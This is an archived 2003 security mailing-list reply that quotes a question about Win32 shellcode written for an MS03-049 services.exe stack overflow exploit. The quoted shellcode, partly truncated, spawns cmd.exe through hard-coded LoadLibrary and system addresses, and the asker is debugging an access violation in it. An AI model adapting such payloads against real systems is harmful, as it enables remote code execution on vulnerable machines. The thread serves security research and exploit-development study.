Re: Win32 Shellcode question.
From: Tobias Klein (tobias.klein_at_ewetel.de)
Date: 12/01/03
- Next in thread: Brett Moore: "RE: [PenTest] Re: Win32 Shellcode question."
- Reply: Brett Moore: "RE: [PenTest] Re: Win32 Shellcode question."
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Date: Mon, 01 Dec 2003 09:07:12 +0100 To: "Vinay A. Maha***" <devnull001@fastmail.fm>, vuln-dev@securityfocus.com, pentest@yahoogroups.com
http://www.newroot.de/projects/winsys.c
greets newroot
At 19:29 27.11.2003 -0800, Vinay A. Maha*** wrote:
>I was writing an exploit for the MS03-049 services.exe stack overflow vuln
>(from scratch for my own academic interest). Here's my shellcode to simply
>launch a "cmd.exe" shell.
>
>#define LL 0x7C4F05CF
>#define SYS 0x78018EBF
>
>char payload[] = {
> 0x55, // push ebp
> 0x8B, 0xEC, // mov ebp,esp
>
> 0x33, 0xC0, // xor eax,eax
> 0x50, // push eax
> 0x50, // push eax
> 0xC7, 0x45, 0xF8, 0x6D, 0x73, 0x76, 0x63,
> // mov dword ptr [ebp-8],6376736Dh
> 0x66, 0xC7, 0x45, 0xFC, 0x72, 0x74,
> // mov word ptr [ebp-4],7472h
> 0x8D, 0x45, 0xF8, // lea eax,[ebp-8]
> 0x50, // push eax
> 0xB8, 0xCF, 0x05, 0x4F, 0x7C, // mov eax,LL
> 0xFF, 0xD0, // call eax <------------ Problem call
> 0x8B, 0xE5, // mov esp,ebp
>
> 0x33, 0xC0, // xor eax,eax
> 0x50, // push eax
> 0x50, // push eax
> 0xC7, 0x45, 0xF8, 0x63, 0x6D, 0x64, 0x2E,
> // mov dword ptr [ebp-8],2E646D63h
> 0x66, 0xC7, 0x45, 0xFC, 0x65, 0x78,
> // mov word ptr [ebp-4],7865h
> 0xC6, 0x45, 0xFE, 0x65,
> // mov byte ptr [ebp-2],65h
> 0x8D, 0x45, 0xF8, // lea eax,[ebp-8]
> 0x50, // push eax
> 0xB8, 0xBF, 0x8E, 0x01, 0x78,
> // mov eax,SYS
> 0xFF, 0xD0, // call eax
>...
> };"
>
>After the overflow, I can step through the NOP sled, and reach the above
>payload - meaning I have control over the CPU's exec path, and can make it
>execute my payload. However, I keep getting an "Access Violation" writing
>location.. error inside the "call eax" that corresponds with
>LoadLibrary("msvcrt").
>
>I have confirmed the LL and SYS variables for the target (Win2k SP4).
>Plus, the payload works just fine when compiled and executed outside of
>services.exe . Is there something special about services.exe that prevents
>LoadLibraryA from executing normally or what did I do wrong? Can you spot
>anything I am overlooking? The same payload has worked on other
>stack-overflow exploits, and inside a simple main(){} loop.
>
>Thanks,
>Vinay.
- Next in thread: Brett Moore: "RE: [PenTest] Re: Win32 Shellcode question."
- Reply: Brett Moore: "RE: [PenTest] Re: Win32 Shellcode question."
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]